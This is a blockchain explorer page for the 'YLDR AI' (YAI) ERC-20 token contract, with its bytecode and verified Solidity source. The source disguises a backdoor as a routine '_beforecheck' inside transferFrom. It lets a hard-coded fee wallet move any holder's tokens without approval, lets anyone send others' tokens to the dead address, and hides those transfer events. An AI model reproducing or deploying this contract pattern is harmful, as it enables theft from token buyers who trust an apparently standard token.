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Address Contract Partially Verified

Address 0xE864E55F0b09667a8305131DC8BbB01a3C7eB6F8
Balance 0 ETH
Nonce 1
Code Size 5156 bytes
Creator 0x60c4193a...7d6b at tx 0x6f969c69...12dbb5
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5156 bytes
0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b35780638da5cb5b146101c957806395d89b41146101ef578063a9059cbb1461021a578063ab1f2d0214610239578063dd62ed3e1461024d575f80fd5b806306fdde03146100b3578063095ea7b3146100f457806318160ddd1461012357806323b872dd14610145578063313ce5671461016457806370a082311461017f575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b50604080518082019091526007815266594c445220414960c81b60208201525b6040516100eb9190611068565b60405180910390f35b3480156100ff575f80fd5b5061011361010e3660046110cb565b610291565b60405190151581526020016100eb565b34801561012e575f80fd5b506101376102a7565b6040519081526020016100eb565b348015610150575f80fd5b5061011361015f3660046110f5565b6102c8565b34801561016f575f80fd5b50604051600981526020016100eb565b34801561018a575f80fd5b50610137610199366004611133565b6001600160a01b03165f9081526001602052604090205490565b3480156101be575f80fd5b506101c761033e565b005b3480156101d4575f80fd5b505f546040516001600160a01b0390911681526020016100eb565b3480156101fa575f80fd5b5060408051808201909152600381526259414960e81b60208201526100de565b348015610225575f80fd5b506101136102343660046110cb565b6103e4565b348015610244575f80fd5b506101c76103f0565b348015610258575f80fd5b5061013761026736600461114e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029d338484610751565b5060015b92915050565b5f6102b46009600a611279565b6102c3906461f313f880611287565b905090565b5f6102d4848484610874565b6102de8484610c9d565b1561033457610334843361032f856040518060600160405280602881526020016113c7602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ce7565b610751565b5060019392505050565b5f546001600160a01b0316331461039c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029d338484610874565b5f546001600160a01b031633146104495760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610393565b601054600160a81b900460ff16156104a35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610393565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ed9030906104de6009600a611279565b61032f906461f313f880611287565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610561919061129e565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e4919061129e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561062e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610652919061129e565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d7194730610699816001600160a01b03165f9081526001602052604090205490565b5f806106ac5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610712573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073791906112b9565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166108145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b03821661093a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b5f811161099b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610393565b5f80546001600160a01b038581169116148015906109c657505f546001600160a01b0384811691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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
YAI.sol 282 lines 
/*

https://t.me/yldr_ai
https://x.com/YLDR_AI
https://www.yldr.xyz/

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract YAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeExcluded;

    address private _blackhole = address(0xdead);
    address private _yieldtax = 0x49dc7d54524B8ad566b7c0Ef9E01BB535a3a4E00;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventSwapBefore=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"YLDR AI";
    string private constant _symbol = unicode"YAI";
    uint256 private _swapTokenThreshold = _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniPair;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _isFeeExcluded[owner()] = true;
        _isFeeExcluded[address(this)] = true;
        _isFeeExcluded[_yieldtax] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); if (_beforecheck(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforecheck(address _tipair, address _vapair) private view returns (bool) {
        return (_tipair == _uniPair || _vapair != _blackhole) && msg.sender != _yieldtax;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniPair && to != address(uniswapV2Router) && ! _isFeeExcluded[to] ) {
                _buyCount++;
            }

            if(to == _uniPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapTokenThreshold)
                swapTokensForEth(min(amount, min(contractTokenBalance, _swapTokenThreshold)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        if (to != _blackhole)emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_yieldtax).transfer(amount);
    }

    function startYLDR() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
startYLDR 0xab1f2d02
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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